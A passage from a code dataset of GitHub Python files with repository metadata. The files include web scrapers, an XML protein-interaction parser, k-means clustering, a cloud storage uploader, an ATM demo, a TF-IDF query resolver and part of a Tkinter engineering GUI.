ord('\\\"'):None}) or \"\"\n\ndef scrapeitemdetails(doup):\n\n    details = {}\n\n    # Description is just text, but strip newlines\n    dets = \" \".join([x for x in doup.find(\"div\", attrs={\"id\": \"productdescr\"}).stripped_strings])\n    details[\"descr\"] = sancsv(dets)\n\n    # Ingredients is an HTML table, strip attributes and whitespace\n    ings = doup.find(\"table\", attrs={\"class\": \"ingTable\"})\n    if ings:\n        ings.attrs = None\n        for tag in ings.findAll(True):\n            tag.attrs = None\n        details[\"ingrd\"] = sancsv(\"\".join([str(x) for x in ings.contents]))\n        return details\n    \n    # Ingredients could also be a div\n    ings = doup.find(\"div\", attrs={\"id\": \"Ingredients\"})\n    if ings:\n        ings.attrs = None\n        for tag in ings.findAll(True):\n            tag.attrs = None\n        details[\"ingrd\"] = sancsv(\"\".join([str(x) for x in ings.contents]))\n        return details\n\n    details[\"ingrd\"] = \"\"\n    return details\n    \n\ndef scrapeonepage(soup):\n    \n    for DBoxItem in soup.findAll(\"td\", class_=\"DialogBox\"):\n\n            if len(list(DBoxItem.children)) <= 1:\n                # Less than 12 items on this page, probably end of letter, ignore it\n                break\n\n            # Fetch key information: the unique id and link to product page\n            id = DBoxItem.find(\"span\", class_=\"smaller\").contents[0][5:]\n            plin = DBoxItem.find(\"a\", class_=\"ProductTitle\")\n            plink = baseurl+\"/\"+plin['href']\n\n            # Grab next \"level\" of item information\n            dpg =  cachepg(\"plitem\", plink)\n            doup = BeautifulSoup(open(dpg).read())\n            if args.verbose:\n                print(\"   * scanning item:\", plin)\n            details = scrapeitemdetails(doup)\n\n            # Massage relative links\n            fimgl = DBoxItem.find(\"img\", attrs={\"height\":\"120\"})['src']\n            if fimgl[0] == '/':\n                fimgl = baseurl+fimgl\n\n            ALLPRODUCTS[id] = {\n                    \"link\": plink,\n                    \"name\": plin.text.translate({ord(','):None, ord('\\n'):None}),\n                    \"imgl\": fimgl,\n                    \"pric\": DBoxItem.center.font.text[1:],\n                    \"skuu\": \"PLABS-\"+str(id),\n                    \"dscr\": details[\"descr\"]+\"<br/><br/>\"+details[\"ingrd\"]\n                }\n            if args.verbose:\n                print(ALLPRODUCTS[id])\n\n    return\n\n############################################################\n\nif __name__ == \"__main__\":\n\n    # Scrape the pages\n\n    for A in LETTERS:\n        print(\"::\",A,\"::\")\n        for x in range(0,PCOUNTS[LETTERS.index(A)]):\n            X = x+1\n            print(\" * scanning letter %s, page %d\" % (A, X))\n\n            prodpage=baseurl+\"/home.php?letter=\"+A+\"&page=\"+str(X)\n            pg = cachepg(\"proglabs\", prodpage)\n            soup = BeautifulSoup(open(pg).read())\n            scrapeonepage(soup)\n        print(\"Total products found so far: \"+str(len(ALLPRODUCTS)))\n\n    # Output the results\n\n    if args.write:\n        outcsv = open(\"plabs-products.csv\", 'w')\n        # From sample\n        outcsv.write(\"Handle,Title,Body (HTML),Vendor,Type,Tags,Published,Option1 Name,Option1 Value,Option2 Name,Option2 Value,Option3 Name,Option3 Value,Variant SKU,Variant Grams,Variant Inventory Tracker,Variant Inventory Qty,Variant Inventory Policy,Variant Fulfillment Service,Variant Price,Variant Compare At Price,Variant Requires Shipping,Variant Taxable,Variant Barcode,Image Src,Image Alt Text,Variant Img\")\n\n    print(\"\\n\\n - - - - - FINAL OUTPUT - - - - -\")\n    for k in sorted(ALLPRODUCTS.keys()):\n        if args.verbose:\n            print(\" * Product \"+str(k)+\" = \"+str(ALLPRODUCTS[k]))\n\n        # CSV format (http://docs.shopify.com/manual/your-store/products/product-csv)\n        csvline = [\n                    ALLPRODUCTS[k][\"skuu\"],                 # Handle\n                    ALLPRODUCTS[k][\"name\"],                 # Title\n                    ALLPRODUCTS[k][\"dscr\"],                 # Body (HTML)\n                    \"Progressive Laboratories\",             # Vendor\n                    \"Supplement\",                           # Product Type\n                    \"\",                                     # Tags\n                    \"FALSE\",                                # Published (bool)\n                    \"Title\", \"Title\",                       # Option1 Name, Option1 Value\n                    \"\",\"\",                                  # Option2 Name, Option2 Value\n                    \"\",\"\",                                  # Option3 Name, Option3 Value\n                    \"\",                                     # Variant SKU\n                    \"0\",                                    # Variant Grams\n                    \"\",                                     # Variant Inventory Tracker\n                    \"1\",                                    # Variant Inventory Quantity\n                    \"deny\",                                 # Variant Inventory Policy\n                    \"manual\",                               # Variant Fulfillment Service\n                    ALLPRODUCTS[k][\"pric\"],                 # Variant Price\n                    \"\",                                     # Variant Compare at Price\n                    \"\",                                     # Variant Requires Shipping\n                    \"\",                                     # Variant Taxable\n                    \"\",                                     # Variant Barcode\n                    ALLPRODUCTS[k][\"imgl\"],                 # Image Src\n                    ALLPRODUCTS[k][\"name\"],                 # Image Alt Text\n                    \"FALSE\",                                # Gift Card\n                                # Metafields\n                    \"\",\n                    \"\",\n                    \"\",\n                    \"\",\n                    \"\",\n                    \"\",\n                    \"\",\n                    \"\",\n                    \"\",\n                    \"\",\n                  ]\n        if args.write:\n            outcsv.write( \",\".join(csvline)+\"\\n\" )\n    if args.write:\n        outcsv.close()\n\n    print(\"Total products scraped:\",len(ALLPRODUCTS), \"\\n\\n\")\n\n","repo_name":"troxor/suppscrape","sub_path":"proglabs/proglabs.py","file_name":"proglabs.py","file_ext":"py","file_size_in_byte":7203,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70184089849","text":"from urllib.parse import urljoin\n\nimport requests\nfrom loguru import logger\n\n\nclass DellaDownloader:\n    \"\"\"Downloads della.kz pages\"\"\"\n\n    def __init__(self) -> None:\n        self.base_url = 'https://www.della.kz/'\n\n    def load_page(\n        self, url: str | None = None, path: str | None = None\n    ) -> str | None:\n        \"\"\"Loads della.kz page\n\n        Args:\n            url (str | None): url of della.kz page, optional\n            path (str | None): path of della.kz page, for\n                example, /search/a98bdeflolh0i230301l230516k0m1.html\n\n        Raises:\n            ValueError: Page or path must be specified\n            ValueError: Only one of page or path must be specified\n\n        Returns:\n            str: html source of della.kz page\n        \"\"\"\n        if not url and not path:\n            raise ValueError('Page or path must be specified')\n        if url and path:\n            raise ValueError('Only one of page or path must be specified')\n        if not url:\n            url = urljoin(self.base_url, path)\n\n        try:\n            result = requests.get(url, timeout=10)\n        except requests.exceptions.RequestException:\n            logger.exception('Error loading page')\n            return None\n        if result.ok:\n            return result.text\n\n        logger.error(f'Error loading page: {result.status_code}')\n        return None\n","repo_name":"Barahlush/della_parser_bot","sub_path":"della_parser_bot/parser/downloader.py","file_name":"downloader.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72705236090","text":"#!/usr/bin/python3\n\nimport sys\nfrom lxml import etree\n\nmifNs = { 'm': 'http://psi.hupo.org/mi/mif'}\nassert len(sys.argv) == 2\nmifFile = sys.argv[1]\n\nmifTree = etree.parse( mifFile )\n\n# find record source\nmifSrcName = mifTree.xpath( \"//m:source//m:shortLabel/text()\",\n                            namespaces=mifNs)\nprint( \"Record Source: %s\" % ( mifSrcName[0] ))\n\n# find record release date\nmifDate = mifTree.xpath( \"//m:source/@releaseDate\",\n                         namespaces=mifNs)\nprint(\"Release Date: %s\" % ( mifDate[0] ))\n\nexByRefId = {} \n\n#find experiments\nmifExList = mifTree.xpath( \"//m:experimentDescription\",\n                           namespaces=mifNs)\nfor ex in mifExList:\n\n    experiment = {}\n    \n    # experiment id attribute: unique *within individual file*\n    exId = ex.xpath( \"./@id\",\n                     namespaces=mifNs)\n    exByRefId[ exId[0] ] = experiment\n    \n    #pubmed\n    exPmid = ex.xpath( \"./m:bibref/m:xref/*[@db='pubmed']/@id\",\n                       namespaces=mifNs)\n    if exPmid:\n        experiment['pmid'] = exPmid[0]\n\n    #experiment host\n    exHost = ex.xpath( \"./m:hostOrganismList/m:hostOrganism\",\n                       namespaces=mifNs)\n    hostList = []\n    experiment['hostList'] = hostList \n    for host in exHost:\n        curHost = {}\n        hostList.append( curHost )\n\n        hostName = host.xpath( \"./m:names/m:shortLabel/text()\",\n                               namespaces=mifNs )        \n        hostTaxid = host.xpath( \"./@ncbiTaxId\",\n                                namespaces=mifNs )\n\n        curHost['name'] = hostName[0] \n        curHost['taxid'] = hostTaxid[0] \n        \n    # detection method\n    exDetMth = ex.xpath( \"./m:interactionDetectionMethod\",\n                         namespaces=mifNs)\n    detMthName = exDetMth[0].xpath( \"./m:names/m:shortLabel/text()\",\n                                    namespaces=mifNs )\n    detMthId = exDetMth[0].xpath( \"./m:xref/*[@db='psi-mi']/@id\",\n                                  namespaces=mifNs )\n\n    experiment['detMeth'] = { 'name': detMthName[0],\n                              'cv': 'psi-mi',\n                              'id': detMthId[0] }\n    \n    \nirByRefId = {} \nirByAccId = {}\n\n#find interactors\nmifIrList = mifTree.xpath( \"//m:interactor\",\n                           namespaces=mifNs)\nfor ir in mifIrList:\n\n    interactor = {}\n    \n    # primary identifier: *shoud* be unique across *all files*\n    primaryIdDB = ir.xpath( \"./m:xref/m:primaryRef/@db\",\n                            namespaces=mifNs)\n    primaryIdAC = ir.xpath( \"./m:xref/m:primaryRef/@id\",\n                            namespaces=mifNs)\n    \n    interactor['acc'] = primaryIdDB[0]+\":\"+primaryIdAC[0]\n    irByAccId[ interactor['acc'] ] = interactor\n    \n    # interactor id attribute: unique *only* within individual file \n    irId = ir.xpath( \"./@id\",\n                     namespaces=mifNs)    \n    irByRefId[ irId[0] ] = interactor\n\n    # short label\n    label = ir.xpath( \"./m:names/m:shortLabel/text()\",\n                      namespaces=mifNs)        \n    if label:\n        interactor['label'] = label[0]\n    else:\n        interactor['label'] =''\n\n    # interactor (molecule) type\n    irType = ir.xpath( \"./m:interactorType\",\n                       namespaces=mifNs )\n    irTypeName = irType[0].xpath( \"./m:names/m:shortLabel/text()\",\n                                  namespaces=mifNs )\n    irTypeId = irType[0].xpath( \"./m:xref/*[@db='psi-mi']/@id\",\n                                namespaces=mifNs )\n\n    interactor['type'] = { 'name': irTypeName[0],\n                           'cv': 'psi-mi',\n                           'id': irTypeId[0] }\n        \n    # gene name\n    gene = ir.xpath( \"./m:names/m:alias[@type='gene name']/text()\",\n                     namespaces=mifNs)        \n    if gene:\n        interactor['gene'] = gene[0]\n    else:\n        interactor['gene'] = ''\n        \nevidList = []\n    \n#find evidence\nmifEvList = mifTree.xpath( \"//m:interactionList/m:interaction\",\n                           namespaces=mifNs)\nfor ev in mifEvList:\n    \n    evid = {}\n    evidList.append( evid )\n    expt = None\n    \n    # find experiment\n    evExpRef = ev.xpath( \".//m:experimentRef/text()\",\n                         namespaces=mifNs )\n    if evExpRef:  # compact MIF\n        expt = exByRefId[ evExpRef[0] ]\n    else:         # expanded MIF \n        evExpId = ev.xpath( \".//m:experimentDescription/@id\",\n                            namespaces=mifNs )\n        if evExpId:\n            expt = exByRefId[ evExpId[0] ]\n\n    evid['expt'] = expt\n\n    # find interaction type\n    evITname = ev.xpath( \"./m:interactionType//m:shortLabel/text()\",\n                         namespaces=mifNs )\n    evITid = ev.xpath( \"./m:interactionType/m:xref/*[@db='psi-mi']/@id\",\n                       namespaces=mifNs )\n    \n    evid['IntType'] = { 'name': evITname[0],\n                        'cv': 'psi-mi',\n                        'id': evITid[0] }\n   \n    #find imex\n    imexid = ev.xpath( \"./@imexId\",\n                       namespaces=mifNs )\n    if imexid:\n        evid['imexid'] = imexid[0]\n    else:\n        evid['imexid'] = ''\n \n    ptList = []\n    evid['ptList'] = ptList\n\n    # find participants\n    evParts = ev.xpath( \".//m:participantList/m:participant\",\n                        namespaces=mifNs )\n\n    for part in evParts:\n        cpart = {}\n        ptList.append(cpart)\n\n        # find interactor\n        interactor = None\n        intRefId = part.xpath( \"./m:interactorRef/text()\",\n                               namespaces=mifNs )\n        if intRefId:  # compact MIF\n            interactor = irByRefId[ intRefId[0] ]\n        else:         # expanded MIF \n            intId = part.xpath( \".//m:interactor/@id\",\n                                namespaces=mifNs )\n            if intId:\n                interactor = irByRefId[ intId[0] ]\n        cpart['interactor'] = interactor\n\n        # experimental/biological role\n        # (bait, prey, ancillary, enzyme, substrate, etc.)\n        partRoleList = []\n        cpart['roleList'] = partRoleList\n        roleList = part.xpath( \".//*[local-name(.)='experimentalRole' or \" +  \n                               \"     local-name(.)='biologicalRole'  ]\",\n                               namespaces=mifNs )\n        for r in roleList:\n            roleName = r.xpath( \"./m:names/m:shortLabel/text()\",\n                                namespaces=mifNs )\n            roleId = r.xpath( \"./m:xref/*[@db='psi-mi']/@id\",\n                              namespaces=mifNs )\n\n            if roleName[0] != 'unspecified role':\n                role = { 'name': roleName[0],\n                         'cv': 'psi-mi',\n                         'id': roleId[0] }                \n                partRoleList.append(role)\nimport json        \nprint( json.dumps( evidList, sort_keys=True, indent=4) )\n\n\n    \n    \n    \n","repo_name":"QCB-Collaboratory/W22.Protein.Protein.Interactions","sub_path":"materials/python/mifFileRead.py","file_name":"mifFileRead.py","file_ext":"py","file_size_in_byte":6806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29352784439","text":"num1 = int(input(\"por favor ingrese el 1er numero: \"))\nnum2 = int(input(\"por favor ingrese el 2do numero: \"))\nnum3 = int(input(\"por favor ingrese el 3er numero: \"))\n\nif num1<=num2 and num2<=num3:\n    print (num1,\",\",num2,\",\",num3)\nelif num2<=num1 and num1<=num3:\n    print (num2,\",\",num1,\",\",num3)\nelif num3<=num1 and num1<=num2:\n    print (num3,\",\",num1,\",\",num2)\nelif num3<=num2 and num2<=num1:\n    print (num3,\",\",num2,\",\",num1)\nelif num1<=num3 and num3<=num2:\n    print (num1,\",\",num3,\",\",num2)\n    ","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej6/hito1_ej6_8b2358cb18d267e99369f3a77f72dbe1.py","file_name":"hito1_ej6_8b2358cb18d267e99369f3a77f72dbe1.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"40598119613","text":"from random import randint\nimport operator\nimport random\n\ndef toMatrixArray(file):\n    with open(file, \"r\") as f:\n        line = f.readline()\n        matrixArray = []\n        while(line != ''):\n            line_as_array = line.split()\n            line_in_matrixArray = []\n            for i in range(len(line_as_array)):\n                line_in_matrixArray.append(float(line_as_array[i]))\n            matrixArray.append(line_in_matrixArray)\n            line = f.readline()\n        return matrixArray\n\n\ndef createClasses(number_of_classes):\n    classes = []\n    mean_of_classes = []\n    for _ in range(number_of_classes):\n        classes.append([])\n    return classes, mean_of_classes\n\n\ndef assignDataToRandomClass(matrixArray, classes):\n    for i in range(len(matrixArray)):\n        random_class = random.randrange(0, len(classes))\n        classes[random_class].append(matrixArray[i])\n\n# def assignDataToRandomClass(matrixArray, classes):\n#     for i in range(len(matrixArray)):\n#         k = i%len(classes)\n#         print(k)\n#         classes[k].append(matrixArray[i])\n\n\ndef assingDataToClass(data, _class, classNumber):\n    _class[classNumber].append(data)\n\n\ndef findMinIndex(_list):\n    min_val = min(_list)\n    index = _list.index(min_val)\n    return index\n\n\ndef mean(_class):\n    mean = []\n    _sum = []\n    for j in range(len(_class[0])):\n        _sum.append(int(0))\n        mean.append(0)\n    for i in range(len(_class)):\n        for j in range(len(_class[0])):\n            _sum[j] += _class[i][j]\n    for i in range(len(_class[0])):\n        mean[i] = _sum[i]/len(_class)\n    return mean\n\n\nmatrixArray = toMatrixArray(\"data\")\nnumber_of_classes = 2\nclasses, mean_of_classes = createClasses(number_of_classes)\nassignDataToRandomClass(matrixArray, classes)\n\nnew_classes, mean_of_new_classes = createClasses(number_of_classes)\n\nfor i in range(len(classes)):\n    mean_of_classes.append(0.5)\n    mean_of_classes[i] = mean(classes[i])\nmean_of_old_classes = []\nfor i in range(len(classes)):\n    mean_of_old_classes.append(0.5)\n    mean_of_old_classes[i] = mean(classes[i])\n\ndist = []\nfor i in range(len(classes)):\n    dist.append(0)\n\nflag = 0\nwhile(flag != 1):\n    new_classes, a = createClasses(number_of_classes)\n    \n    for i in range(len(matrixArray)):\n        for k in range(len(classes)):\n            for j in range(len(matrixArray[0])):\n                dist[k] += ((matrixArray[i][j] - mean_of_classes[k][j])**2)\n   \n        index = findMinIndex(dist)\n        dist = []\n        \n        for m in range(len(classes)):\n            dist.append(0)\n        assingDataToClass(matrixArray[i], new_classes, index)    \n    \n    for i in range(len(classes)):\n        mean_of_old_classes[i] = mean(classes[i])\n    classes = new_classes\n    \n    for i in range(len(classes)):\n        mean_of_classes[i] = mean(classes[i])\n    diff = []\n\n    for i in range(len(mean_of_classes)):\n        for j in range(len(mean_of_classes[0])):\n            diff.append(mean_of_classes[i][j] - mean_of_old_classes[i][j])\n\n    for i in range(len(diff)):\n        if diff[i] == 0 :\n            flag = 1\nfor i in range(len(matrixArray)):\n    for j in range(len(classes)):\n        if((classes[j].count(matrixArray[i]) == 1)):\n            print(i, j)","repo_name":"kabilansen/k-means","sub_path":"kmeans.py","file_name":"kmeans.py","file_ext":"py","file_size_in_byte":3221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30828144408","text":"from google.cloud import storage\nimport os\n\ndef upload_csv_to_gcs(dataframe, destination_folder):\n    \"\"\"Uploads a CSV file to a specified Google Cloud Storage bucket in a specified folder.\n\n    Args:\n        csv_file_path (str): The local path to the CSV file to upload.\n        folder_name (str): The name of the folder in the bucket to upload the file to.\n    \"\"\"\n    # Instantiate a client for interacting with the Google Cloud Storage API\n\n    from google.oauth2 import service_account\n\n    # Replace [PATH_TO_PRIVATE_KEY_FILE] with the path to your private key file.\n    credentials = service_account.Credentials.from_service_account_file('pymaggie-8cf90f8de8ce.json')\n\n    client = storage.Client(credentials=credentials)\n\n    # Get a reference to the specified bucket\n    bucket = client.get_bucket(\"pymaggie_csv_storage\")\n\n    # Get a reference to the specified folder within the bucket\n    folder = bucket.blob(str(session['session_id']))\n\n    #changing into csv\n    csv_file_path = str(session['session_id'])+\"_uploaded\"+'.csv'\n    dataframe.to_csv(csv_file_path, index=False)\n\n    # Get the name of the CSV file\n    csv_file_name = os.path.basename(csv_file_path)\n\n    # Uploads the CSV file to the destination folder\n    blob = bucket.blob(str(session['session_id']) + \"/\" + csv_file_name)\n    blob.upload_from_filename(csv_file_path)\n\n    print(f\"File {csv_file_name} uploaded to gs://pymaggie_csv_storage/{session['session_id']}/{csv_file_name}\")\n\n\nupload_csv_to_gcs(\"credit_record.csv\",'pymaggie_csv_storage',\"test\")","repo_name":"hareeharan03/PyMaggie","sub_path":"drop.py","file_name":"drop.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"28139102168","text":"import os\nimport sys\nROOT_DIR_PATH = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(ROOT_DIR_PATH)\n\nfrom ATM import ATM\nfrom Card import Card\n\ndef main():\n    # Set up the ATM\n    db_path = os.path.join(ROOT_DIR_PATH, 'db.json')\n    atm = ATM(db_path)\n    \n    # Get PIN of card and make the card object\n    print('Enter the PIN of your card')\n    pin = input()\n    print(pin)\n    card = Card(pin)\n    \n    if atm.insert_card(card): # Insert card. If valid, provide ATM service\n        while True:\n            # Get desired service from user \n            print(\"Choose a service (balance/deposit/withdraw/end)\")\n            service = input().strip().lower()\n            print(service)\n            if service == \"balance\": # balance\n                balance = atm.balance()\n                print(f'Balance - {balance}')\n                \n            elif service == \"deposit\": # deposit\n                print(\"Enter the value you want to deposit\")\n                value = int(input())\n                print(value)\n                succ, new_balance = atm.deposit(value)\n                if succ:\n                    print(f'Deposit - {new_balance}')\n                else:\n                    print(f'Deposit - failed')\n                    \n            elif service == \"withdraw\": # withdraw\n                print(\"Enter the value you want to withdraw\")\n                value = int(input())\n                print(value)\n                succ, new_balance = atm.withdraw(value)\n                if succ:\n                    print(f'Withdraw - {new_balance}')\n                else:\n                    print(f'Withdraw - not enough balance')\n            \n            else: # service ended\n                atm.end_service()\n                print('Service is ended')\n                break\n            \n    else: # If PIN is not valid, end the service\n        print('Invalid card')\n\nif __name__ == \"__main__\":\n    main()","repo_name":"skygun88/CodeTest_ATM","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"1277587951","text":"import warnings\nwarnings.filterwarnings(\"ignore\")\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nimport chromedriver_autoinstaller\n\nfrom dotenv import load_dotenv\nimport os\n\nload_dotenv()\n\ndef get_driver():\n    options = webdriver.ChromeOptions()\n    options.add_argument(\"--headless\")\n    if os.getenv('PYTHON_ENV') == 'testing':\n        chromedriver_autoinstaller.install()\n        driver = webdriver.Chrome(options=options)\n    else:\n        driver = webdriver.Remote(\n            command_executor=os.getenv('SELENIUM_HOST') + '/wd/hub',\n            desired_capabilities=DesiredCapabilities.CHROME)\n\n    return driver\n\ndef get_download_link(url, link_text, driver):\n    driver.get(url)\n    dl_link = driver.find_element(By.LINK_TEXT, link_text)\n    file_dl_link = dl_link.get_attribute(\"href\")\n\n    return file_dl_link\n\ndef get_data_tabs(numero_tag, driver, elt, index):\n    elt[numero_tag].click()\n    webelt = driver.find_elements(By.CLASS_NAME, 'Tabs')\n    congestion_data_year = webelt[1].text.split()[index]\n    congestion_data_year_percentages = driver.find_element(By.CLASS_NAME, 'StatWeekHours__labels-congestions').text.split('\\n')\n\n    return congestion_data_year, congestion_data_year_percentages","repo_name":"QuentinFontenay/MLOPS-LondonPump","sub_path":"entrainement/utils/selenium.py","file_name":"selenium.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70005527929","text":"#-------------------------------------------------------------------------------\r\n# Name:        Resolving queries with an index\r\n# Purpose:     Once the index is created, it is used for quick resolution of a \r\n#              series of queries. For each query, the 10 most relevant texts are \r\n#              returned.\r\n#\r\n# Author:      Sergio Murillo\r\n#\r\n# Created:     27/10/2022\r\n#-------------------------------------------------------------------------------\r\n\r\nimport pickle\r\nimport random\r\nfrom textblob import TextBlob\r\nimport math\r\n\r\n# Auxiliary dictionary for the index\r\nindex = {}\r\n# Auxiliary dictionary to save the texts\r\nsaved_texts = {}\r\n# Auxiliary dictionary for the queries\r\nqueries = {}\r\n\r\ndef resolve_query(terms):\r\n    \"\"\"\r\n    Given a query, returns the texts with their relevance value\r\n    \"\"\"\r\n    global index\r\n\r\n    # Dictionary with the values of B for all candidates\r\n    candidates_b, candidates_b2 = get_candidates(terms) \r\n    a, a2 = calculate_a(terms)\r\n    results = {}\r\n    \r\n    for candidate in candidates_b:\r\n        num = 0\r\n        for term in terms:\r\n            # If the query term is in the document we perform A * B\r\n            try:\r\n                num +=  a[term] * index.get(term).idf * index.get(term).documents[candidate].tf_idf\r\n            # Else A * B will be 0\r\n            except:\r\n                num += 0\r\n              \r\n        results[candidate] = calculate_value(a2, candidates_b2[candidate], num)\r\n    \r\n    return results\r\n\r\ndef calculate_value(a2, b2, num):\r\n    \"\"\"\r\n    Given a candidate calculates its relevance value\r\n    \"\"\"\r\n    value = num / (a2 * b2)\r\n\r\n    return value\r\n    \r\ndef calculate_a(terms):\r\n    \"\"\"\r\n    Given a series of terms calculate the value of A^2 and A for each term\r\n    \"\"\"\r\n    global index\r\n    a2 = 0\r\n    a = {}\r\n    for term in terms:\r\n        if (index.get(term) != None):\r\n            a2 += math.pow(index.get(term).idf * terms[term], 2)\r\n            a[term] =  index.get(term).idf * terms[term]\r\n    \r\n    a2 = math.sqrt(a2)\r\n    return a, a2\r\n        \r\ndef get_candidates(terms):\r\n    \"\"\"\r\n    Given a set of terms of a query, returns all possible texts that can be a \r\n    result with value of B and B^2\r\n    \"\"\"\r\n    global index\r\n    candidates_b = {}\r\n    candidates_b2 = {}\r\n    aux = {}\r\n\r\n    for term in terms:\r\n        if index.get(term) != None:\r\n            for document in index.get(term).documents:\r\n                if candidates_b.get(document) == None:\r\n                    candidates_b[document] = index.get(term).documents[document].tf_idf\r\n                    candidates_b2[document] = math.pow(index.get(term).documents[document].tf_idf,2)\r\n                else:\r\n                    candidates_b[document] += index.get(term).documents[document].tf_idf\r\n                    candidates_b2[document] += math.pow(index.get(term).documents[document].tf_idf,2)\r\n    \r\n    for item in candidates_b2:\r\n        candidates_b2[item] = math.sqrt(candidates_b2[item])\r\n    \r\n    return candidates_b, candidates_b2\r\n\r\ndef weighting_tf(texts):\r\n    \"\"\"\r\n    Given a dictionary with the texts, returns a dictionary with the weights of\r\n    each word in each text\r\n    \"\"\"\r\n    counters = counter_terms(texts)\r\n    tfs = relative_frequency(counters)\r\n            \r\n    return tfs\r\n\r\ndef relative_frequency(counters):\r\n    \"\"\"\r\n    Given a dictionary with the counters of each word in each text, returns a\r\n    dictionary with the relative frequency of each word in each text\r\n    \"\"\"\r\n    tfs = {}\r\n    for text in counters:\r\n        aux = {}\r\n        for word in counters[text]:\r\n            aux[word] = counters[text][word] / len(counters[text])\r\n        tfs[text] = aux\r\n    return tfs\r\n\r\ndef counter_terms(texts):\r\n    \"\"\"\r\n    Given a dictionary with the texts, returns a dictionary with the counters of\r\n    each word in each text\r\n    \"\"\"\r\n    counters = {}\r\n    for text in texts:\r\n        aux = {}\r\n        blob = TextBlob(texts.get(text).lower())\r\n        tokens = blob.words\r\n        for token in tokens:\r\n            # Apply the stemming to each of the tokens *Default: Porter Stemmer*\r\n            token = token.stem()\r\n            if aux.get(token) == None:\r\n                    aux[token] = 1\r\n            else:\r\n                aux[token] += 1\r\n        counters[text] = aux\r\n    return counters\r\n\r\ndef load_index():\r\n    \"\"\"\r\n    Loads the index from a .pkl file\r\n    \"\"\"\r\n    global index \r\n\r\n    index = pickle.load(open(\"index.pkl\", \"rb\"))\r\n\r\ndef load_queries(filename):\r\n    \"\"\"\r\n    Reads the queries from a .txt file\r\n    \"\"\"\r\n    global queries\r\n\r\n    with open(filename, 'r') as file:\r\n        lines = file.readlines()\r\n        lines = [line.rstrip() for line in lines]\r\n\r\n    for line in lines:\r\n        separator = line.split('\\t')\r\n        result = ''\r\n        for i in range(1, len(separator)):\r\n            result += separator[i] + \" \"\r\n        queries[separator[0]] = result\r\n\r\ndef load_texts(filename):\r\n    \"\"\"\r\n    Given a .txt file store the contents of each of its lines\r\n    \"\"\"\r\n    global saved_texts\r\n\r\n    with open(filename, 'r') as file:\r\n        lines = file.readlines()\r\n        lines = [line.rstrip() for line in lines]\r\n\r\n    for line in lines:\r\n        separator = line.split('\\t')\r\n        saved_texts[separator[0].rstrip()] = separator[1]\r\n\r\ndef get_results(tfs):\r\n    \"\"\"\r\n    Stores possibly relevant texts in a .txt file \r\n    \"\"\"\r\n    with open(\"result.txt\", 'w') as file:\r\n        for term in tfs:\r\n            file.writelines(\"Query\" + term + \"\\n\")\r\n            ids = resolve_query(tfs[term])\r\n            ids = sorted(ids.items(), key=lambda x: x[1], reverse=True)\r\n            for i in range(10):\r\n                file.writelines(saved_texts[ids[i][0]][0:280] + \"\\n\\n\")\r\n            file.writelines(\"\\n\")\r\n\r\ndef main():\r\n    \"\"\"\r\n    Resolves the queries from a .txt file and saves the results in a .txt file\r\n    \"\"\"\r\n    global queries\r\n    global saved_texts\r\n\r\n    load_index()\r\n    load_queries(\"cran-queries.txt\")\r\n    load_texts(\"cran-1400.txt\")\r\n    tfs = weighting_tf(queries)     # Calculate the weights of each word in \r\n                                    # each text\r\n    get_results(tfs)                # Get the results of the queries\r\n            \r\n    \r\n\r\nif __name__ == '__main__':\r\n    main()\r\n","repo_name":"sergiomalv/web-information-systems","sub_path":"index/resolve_queries.py","file_name":"resolve_queries.py","file_ext":"py","file_size_in_byte":6277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41173521332","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb  2 14:29:18 2020\n\n@author: Mazen\n\"\"\"\nimport tkinter as tk\nimport p2k_model as M\nimport p2k_view as v\n   \n\nclass Controller(tk.Tk):\n    def __init__(self):\n        self.model = M.Model()\n        tk.Tk.__init__(self)\n        tk.Tk.wm_title(self, \"PreStress-2000\")\n        root = tk.Frame(self)                                                    #This is the mainframe where everything goes\n        root.grid(row=0, column=0) \n        \n        #Initalize Pages\n        self.frames = {}                                                         #Dictionary to contain all the frame created in our GUI, Each page is a frame\n        for F in (v.StartPage, v.PageOne, v.PageTwo):\n            frame = F(parent=root, controller=self)                              #Creating the Start Page\n            self.frames[F] = frame                                               #Placing frames in the frames dictionary\n            frame.grid(row=1, column=0, sticky=\"nsew\")\n        \n        ##Initalize Navigation Bar\n        self.navbar = v.NavigationBar(parent=root, controller=self)\n        self.navbar.grid(row=0, column=0, sticky=\"NSEW\")\n            \n        self.show_frame(self.frames, v.StartPage)                                             #Displaying the startpage\n        \n    def show_frame(self, frames, F):\n        \"\"\"\n        bring the desired frame (F) to the front\n        \"\"\"\n        frame = frames[F]\n        frame.tkraise()\n    \n    def get_material_types(self):\n        return self.model.materials_types.data\n    \n    def get_materials_dic(self):\n        return self.model.materials.data\n    \n    def get_sections_dic(self):\n        return self.model.sections.data\n    \n    def add_material(self, material_type):\n        material_type = material_type\n        PageOne = self.frames[v.PageOne]\n        input_frame = PageOne.input_frames[material_type]\n        inputs = input_frame.get_inputs()\n        if material_type == \"Concrete\":\n            new_material = M.Concrete_Material(inputs)\n        if material_type == \"Steel\":\n            new_material = M.Steel_Material(inputs)\n        material_name = inputs[\"Name\"]\n        